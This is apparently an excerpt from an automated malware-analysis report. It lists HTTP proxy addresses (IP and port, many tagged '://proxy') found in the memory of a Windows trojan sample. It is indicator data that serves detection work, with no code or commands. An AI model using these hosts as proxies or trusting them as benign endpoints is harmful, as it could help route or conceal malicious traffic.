Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.23.184.84:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.201
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.201://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.201:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.201:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.201:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.202
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.202://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.202:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA699000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.202:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.207.202:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.53.248:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.33.53.248:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.73.127.98:9898
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.73.127.98:9898://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.99.138.162
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://62.99.138.162://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://63.151.67.7:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://63.151.67.7:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C917D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://63.250.52.82:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://63.250.52.82:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.124.145.1:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.124.145.1:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.157.16.43:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.157.16.43:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.202.184.129:1209
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.202.184.129:1209://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.202.184.129:9232
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.202.184.129:9232://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C906D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.202.186.2:4216
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.202.186.2:4216://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.202.186.2:44692
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.202.186.2:44692://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.225.4.63:9993
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.225.4.63:9993://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.225.4.85:9997
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.225.4.85:9997://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.225.64.71:19833
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.225.64.71:19833://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1CE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C674C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.225.8.115:9994
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C674C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.225.8.115:9994://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.225.8.179:10000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.225.8.179:10000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.106.157
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.106.157://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.106.157:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.108.25:31908
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.108.25:31908://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.4.90:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.227.4.90:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75CB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C93D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.23.188.70:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.23.188.70:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.43.89.128:6387
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.43.89.128:6387://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.56.150.102:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.56.150.102:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.56.150.102:3128x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5D4000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.90.50.227:55552
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://64.90.50.227:55552://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.244.232://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.244.232:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.244.232:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.244.232:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.1.244.232x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.108.9.181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.108.9.181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.108.9.181:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.109.152.88:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.109.152.88:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.18.114.254:55443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.18.114.254:55443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.20.216.249:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.20.216.249:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7814000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.131.27
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.131.27://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.131.27:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE7B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.188.18:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.188.18:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.239.89:14906
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.239.89:14906://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.255.197:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.21.255.197:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.38.21.103
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.38.21.103://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.38.21.103:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.48.236.89:8111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.48.236.89:8111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.49.82.7:24258
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.49.82.7:24258://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.49.82.7:31977
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.49.82.7:31977://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.49.82.7:40202
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.49.82.7:40202://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.49.82.7:46770
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.49.82.7:46770://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.135.13.125:1111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.135.13.125:1111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.191.31.158
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.191.31.158://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:29566
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:29566://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:36702
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:36702://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD74000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:48487
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.33.190:48487://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:14321
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:14321://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4FF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:23344
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:23344://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:29466
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:29466://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:46695
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.35.209:46695://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.37.252:46695
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.37.252:46695://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.37.252:48487
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.37.252:48487://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.37.252:56560
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.228.37.252:56560://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.248.237.89:64672
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.248.237.89:64672://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.243:35713
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.243:35713://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.244:42560
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.244:42560://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.245:59299
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.128.245:59299://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.154.103:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.154.103:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA2F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://66.29.154.105:3128
